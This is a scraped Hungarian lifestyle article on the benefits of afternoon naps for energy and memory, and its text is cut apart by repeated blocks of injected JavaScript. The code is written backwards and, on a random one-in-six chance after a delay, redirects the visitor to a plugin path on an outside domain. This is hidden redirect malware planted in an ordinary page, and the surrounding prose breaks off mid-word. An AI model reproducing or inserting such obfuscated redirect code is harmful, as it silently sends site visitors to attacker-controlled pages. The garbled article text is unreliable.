Behozhatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tod a lemaradásodat Nyilván az éjszakai alvás a legideálisabb, hiszen ekkor tud a szervezeted megfelelő ideig, egyhuzamban 6-8 órát pihenni, ami szükséges egy átlagos ember számára. Ám ha dálután is hozzá tudsz tenni 1-2 órát, még, energiaszinted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tovább nőhet. Javul a memóriád Ha tanulás vagy megfeszített munka után szundítasz egyet, ötször jobban rögzülnek a memóriába tett információk, mintha fenn maradnál végig, derítették ki német neuro-pszichológusok. A kutatók állítása szerint emlékezőképességünk munkája összefügg azzal, agyunk tud-e nyugodtan aludni. A rövid szundi is segít Ledőlésből 15-20 perc is elegendő, hogy egy teljesen új emberként ébredj fel, hiszen alvás közben az agyban lévő…
A cikk folytatódik: http://menandstyle.co.hu/eletmod/2018/03/10/a-delutani-pihenes-elonyei.html
- Hirdetés -
